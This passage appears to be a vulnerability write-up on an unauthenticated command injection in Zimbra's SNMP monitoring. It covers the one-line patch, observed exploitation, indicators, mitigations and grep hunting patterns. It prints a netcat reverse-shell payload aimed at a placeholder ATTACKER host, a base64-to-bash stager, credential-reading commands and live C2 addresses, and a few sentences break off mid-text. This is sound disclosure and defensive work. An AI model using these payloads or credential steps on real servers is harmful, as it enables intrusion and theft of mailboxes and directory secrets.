One additional constraint comes from the operating system rather than the RFC. Ubuntu’s /bin/sh is dash. It does not provide the /dev/tcp virtual device or process substitution. A /dev/tcp based reverse shell one liner passed to the backtick shell therefore fails.
The public PoCs use two patterns that work with dash: the POSIX FIFO relay using mkfifo, cat, and nc, and base64 -d | bash. The latter explicitly invokes Bash and therefore avoids relying on shell specific features.
Field payloads described in incident evidence use similar techniques. They use $ {IFS} where a literal space could cause problems and base64 for the remaining payload. These observations align with the
How the Injection Works
The primitive is arbitrary command execution as the zimbra user, with control over command output. $(id>/tmp/pwned_rce) redirects the output into a file.
Public PoCs use payloads such as $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f) for an interactive reverse shell. They also use echo <base64>|base64 -d|bash as a stager that can survive quoting quirks.
The zimbra user is where the impact becomes significant. From that account, zmlocalconfig -s can read zimbra_ldap_password and ldap_root_password. The zimbra_preauth_key in /opt/zimbra/conf/localconfig.xml can also authenticate to the mailbox SOAP API as any user and provide access to mailboxes.
The directory is another target. zmprov -l gaa can enumerate every account once LDAP is reachable with the extracted bind credentials.
The result is more than command execution in a monitoring component. The same access can expose credentials, directory information, and mailbox data across the Zimbra environment.
Patch Diffing
The public fix is one line. Commit 92b6ebe2364a173e456311929e86e90df5ae9049 in Zimbra/zm-build, titled “ZBUG-5631: Fix unauthenticated remote code execution via swatch SNMP Monitoring (#333)”, modifies only rpmconf/Conf/swatchrc. The change is one line added and one line removed.
+1 / -1

--- a/rpmconf/Conf/swatchrc
+++ b/rpmconf/Conf/swatchrc
@@
-perlcode 0 sub dosnmp { my %args = (@_); print "SNMP notification: $args{MESSAGE}\n"; `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}`; }
+perlcode 0 sub dosnmp { my %args = (@_); print "SNMP notification: $args{MESSAGE}\n"; system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra", $traphost, "", $snmpsvctrap, $snmpsvcname, "s", $args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}}); }
Perl’s list form of system() bypasses the shell. It invokes execvp directly with the supplied argument list. $args{SERVICE} therefore becomes a single argv element, byte for byte. Shell metacharacters are not interpreted.
The payload is still captured and passed to the trap command. It arrives as data rather than executable shell syntax. That is the appropriate fix for CWE 78. The shell boundary is removed instead of trying to filter individual characters.
The commit record is also worth noting. It was authored by Satyanarayana Pasupuleti (satya73) on 2026 08 26 at 12:00:53 +0530. The blob index is 6ea3cef5c7..5e57ed9f63. The commit changes one file and one line.
The unchanged lines around the diff show why the fix is limited to dosnmp. dosmtp and dodisksmtp also interpolate the same log derived captures, but they pass those values to Zimbra::SMTP as method arguments. Those values remain message data rather than becoming part of a command line. dosnmp is the path that crosses into shell context, so it is the only function that needs to change.
Two details around the fix are worth noting.
First, the product fix shipped in ZCS 10.1.20 on 2026 07 20. Its release notes describe the change as “Fixed a command injection vulnerability in the SNMP monitoring component when SNMP notifications are enabled” and do not provide a CVE number. The public zm-build commit is dated 2026 08 26, after the NE patch. The commit therefore provides a source available record of the fix, but it does not necessarily establish the timeline for the NE binary.
Second, the regression window remains unexplained. Stock 10.1.0 source already shows the safe list form. That indicates that an intermediate build reintroduced the backtick form, but the specific vulnerable build has not been publicly identified. To determine whether a deployment contains the vulnerable sink, inspect its generated swatchrc rather than relying only on the version number.
For environments that cannot upgrade, the snmp_notify localconfig flag provides a mitigation:
zmlocalconfig -e snmp_notify=false
Removing the optional zimbra-snmp package is another way to disable the component. With snmp_notify disabled, donotify still processes the `watchfo_
Conclusion
Impact
An unauthenticated TCP connection to the mail port of a vulnerable server can yield command execution as the zimbra user. In practice, this can expose the mailbox estate, LDAP credentials, and the preauth key.
The wild record follows the same progression. CERT Polska flagged exploitation on 2026 08 17. Shadowserver tracked 155 compromised servers by 2026 08 20 and 274 by 2026 08 25, with no decline. The observed post exploitation activity includes JSP webshells written to /opt/zimbra/jetty/webapps/ and /opt/zimbra/jetty_base/webapps/.
Attribution remains unknown. The Cloud Security Alliance describes the activity as consistent with opportunistic access rather than the targeted Void Blizzard campaign against Zimbra’s CVE 2025 66376.
The deployment condition is important. zimbra-snmp must be installed and SNMP notifications must be enabled. The vulnerability therefore does not affect every Zimbra server exposed to the internet.
More than 8,200 internet facing instances were still running versions earlier than 10.1.20 in late August 2026. A monitoring package that administrators commonly install during the setup process can therefore expose the mail service to this attack path.
What the Operators Actually Ran
The IR evidence published in the dahnutz toolkit is a sanitized incident evidence set. It explicitly makes no attribution claim. It provides one of the closest public views of post exploitation activity on affected systems.
The evidence shows activity well beyond the id>/tmp/pwned_rce proof stage:
| Pivot class | Observed |
| Payload grammar | Download and execute chains built from wget, curl, printf, chmod, gunzip, and base64, with $ {IFS} replacing spaces; a minimal z ;… variant |
| Payload evolution | From download and execute to an inline Base64 decoded Bash reverse shell carried in the RCPT TO itself, observed 2026 09 12 in a rejected request |
| JSP persistence | jetty/webapps/zimbra/public/jsp/ZimbraCore.jsp, zimbraAdmin/public/jsp/ZimbraCoreBoot.jsp, attempt derived zimbra/js/3tfmnqhq.jsp |
| GSocket relay | /usr/bin/gs-dbus, /usr/bin/gs-dbus.dat, /etc/gs-dbus.dat, the gs-netcat family relay under a dbus looking name |
| Process masquerading | [kcached], a Perl backed fake /usr/sbin/httpd -FOREGROUND, the payload configured /usr/sbin/idle, PowerBots variants displaying system binary paths |
| Interactive access | Python pty.spawn shells; ./ksmd -c 1000 -t 12s -shuffle from a hidden shared memory directory |
| C2 | IRC family PowerBots and iPowerBots with rotating channels: 150.242.14.129 (22/8080/8443/3000; :9051 for the compiled build), 43.241.37.251:9051 for the September zed variants, elox2 on 51.75.68.83 (587/21) |
The following two details clearly stand out:
- First, the field payload grammar uses $ {IFS} for spaces and base64 for the remaining content. This matches the constraints derived from the shell parsing analysis and is also present in the observed operator traffic.
- Second, the toolset includes IRC botnets, GSocket relays, and in memory execution. The evidence shows multiple post exploitation techniques rather than a single implant.
Remediation:
- Patch to ZCS 10.1.20 or later. This is the direct fix. The other measures are mitigations.
- If you cannot patch immediately, disable the sink with:
zmlocalconfig -e snmp_notify=false
zmswatchctl stop
You can also uninstall the zimbra-snmp package. Blocking UDP 161 to 162 at the firewall is not sufficient because the payload arrives through the mail port.
3 Hunt for exploitation using indicators from the CERT Polska advisory 145/2026:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log
grep -E 'to=<"[^"]*\$\([^\"]*\)"@' /var/log/zimbra.log
find /opt/zimbra/jetty/webapps /opt/zimbra/jetty_base/webapps /tmp \
-user zimbra -mtime -30 -type f
- Treat any positive hit as a potential full compromise. Rotate LDAP and mailbox preauth secrets from a clean host. Enumerate webshells in the Jetty webapps directories. Audit mailbox access over SOAP for the preauth pattern.
- Inventory Zimbra exposure generally. The KEV due date was 2026 08 24. If an asset list identifies a system only as “Zimbra, version unknown,” the version needs to be established before its exposure can be assessed.
Detection:
- RCPT TO addresses containing Service status change in Postfix logs. The two grep patterns above provide the high signal searches. Wazuh rules are also available from INFOKOM-KI/Zimbra-CVE-2026-73570-Rules.
- swatchdog SNMP notification entries where the service name contains $(, backticks, |, or >.
- Files created by the zimbra user during the last 30 days under the Jetty webapps directories or /tmp. Pay particular attention to .jsp files containing Runtime.getRuntime().exec.
- Outbound connections from the zimbra user to unfamiliar hosts on ports near 4444, which may indicate the reverse shell variant.
- IOC feed: the dahnutz toolkit provides machine readable IOCs in iocs.csv and iocs.json, along with evidence classes and confidence ratings. Start with the log phrase class. Look for Service status change: occurring with wget|curl|printf|chmod|gunzip|base64|$ {IFS}|nohup. Then check the GSocket artifacts and JSP names listed above. Treat the C2 addresses as match only evidence. Do not contact them during triage.
Key Takeaways
The bug class is broader than Perl interpolation. The underlying problem is the assumption that a log file containing internet originated data is trusted input.
swatchdog style monitoring inherits this assumption from traditional syslog usage. The lines are normally generated by the machine about the machine. That changes when an internet facing service writes attacker controlled content to the watched file.
Postfix addresses, web server paths, and SSH login fields can all contain attacker controlled data. If a monitoring rule captures that data and passes it to an executable action without sanitization, the log becomes a data channel into that action.
Any log monitoring rule that executes a command based on a captured value deserves the same security review as code that evaluates dynamic input.
There is also an operational lesson. The issue was disclosed with a mitigation on 2026 06 26 and patched on 2026 07 20. More than 270 servers were still reported later in August. The exploit requires one TCP session and no credentials.
The gap between a patch becoming available and that patch being applied is where the observed exploitation occurred.
References:
- NVD entry for CVE 2026 73570: https://nvd.nist.gov/vuln/detail/cve-2026-73570
- MITRE CVE record (API): https://cveawg.mitre.org/api/cve/CVE-2026-73570
- GHSA jqh7 pchh v74j: https://github.com/advisories/GHSA-jqh7-pchh-v74j
- CISA KEV catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570